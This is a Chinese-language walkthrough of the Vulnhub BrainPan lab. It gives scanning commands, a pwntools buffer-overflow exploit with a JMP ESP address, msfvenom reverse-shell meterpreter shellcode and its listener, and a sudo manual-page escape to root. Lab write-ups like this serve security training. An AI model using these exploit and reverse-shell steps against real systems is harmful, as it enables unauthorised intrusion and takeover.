[Vulnhub] BrainPan BOF缓冲区溢出+Man权限提升
字数 939 2025-08-19 12:40:50
BrainPan 缓冲区溢出漏洞利用与权限提升教学文档
1. 信息收集阶段
1.1 目标识别
- 目标IP: 192.168.8.105
- 开放端口:
- 9999/tcp: 运行BrainPan服务
- 10000/tcp: 运行Python SimpleHTTPServer (Python 2.7.3)
1.2 端口扫描命令
nmap -p- 192.168.8.105 -sC -sV -Pn --min-rate 1000
1.3 目录枚举
dirsearch -u "http://192.168.8.105:10000/"
发现目录:
- /bin/ (返回200状态码)
2. 缓冲区溢出漏洞利用
2.1 初始分析
- 目标服务: BrainPan (运行在9999端口)
- 漏洞类型: 缓冲区溢出
2.2 确定溢出点
- 生成测试模式字符串:
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
- 发送测试字符串并观察崩溃点:
nc 192.168.8.106 9999
- 计算偏移量:
- 崩溃点: 0x35724134
- 使用Metasploit工具计算:
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 35724134
- 确定偏移量: 524字节
2.3 构造初始POC
from pwn import *
bof = b"\x41"*524
eip = b"\x42"*4
PAYLOAD = bof + eip
conn = remote('192.168.8.106', 9999)
conn.send(PAYLOAD)
conn.close()
2.4 寻找JMP ESP指令
- 目标: 找到可跳转的JMP ESP指令地址
- 发现地址: 0x311712F3 (小端序: \xF3\x12\x17\x31)
2.5 确定Shellcode空间
- ESP范围: 0x005FF910 到 0x005FFB20
- 可用空间: 528字节
3. 生成并部署Shellcode
3.1 生成Windows Shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.8.107 LPORT=10032 -b "\x00" -f py
3.2 设置Metasploit监听
msf6 > use exploit/multi/handler
msf6 > set payload windows/meterpreter/reverse_tcp
msf6 > set lport 10032
msf6 > set lhost 192.168.8.107
msf6 > exploit
3.3 完整利用代码
from pwn import *
bof = b"\x41"*524
eip = b"\xF3\x12\x17\x31" # 小端序
nop = b"\x90"*20
# 生成的Shellcode
buf = b""
buf += b"\xba\xd1\xfd\xdb\x70\xdb\xd8\xd9\x74\x24\xf4\x5f\x31"
[...省略部分shellcode...]
buf += b"\x14\x4f\x2e\x71"
PAYLOAD = bof + eip + nop + buf
conn = remote('192.168.8.106', 9999)
conn.send(PAYLOAD)
conn.close()
3.4 Linux靶机Shellcode生成
msfvenom -p linux/x86/shell/reverse_tcp LHOST=192.168.8.107 LPORT=10032 -b "\x00" -e x86/shikata_ga_nai -f py
4. 权限提升
4.1 发现提权向量
- 发现可执行文件:
/home/anansi/bin/anansi_util - 该文件具有sudo权限
4.2 利用方法
sudo /home/anansi/bin/anansi_util manual whoami
在manual页面中输入:
!/bin/bash
4.3 获取flag
- 本地flag: s81jf9h3dadd
- 提权后flag: dh1091u2dm
5. 关键点总结
- 偏移量确定: 524字节
- JMP ESP地址: 0x311712F3 (小端序: \xF3\x12\x17\x31)
- Shellcode空间: 528字节
- NOP雪橇: 20字节
- 权限提升: 利用anansi_util的手册功能执行命令
6. 防御建议
- 对输入进行长度验证
- 使用地址空间布局随机化(ASLR)
- 实施数据执行保护(DEP)
- 最小权限原则运行服务
- 定期更新和修补软件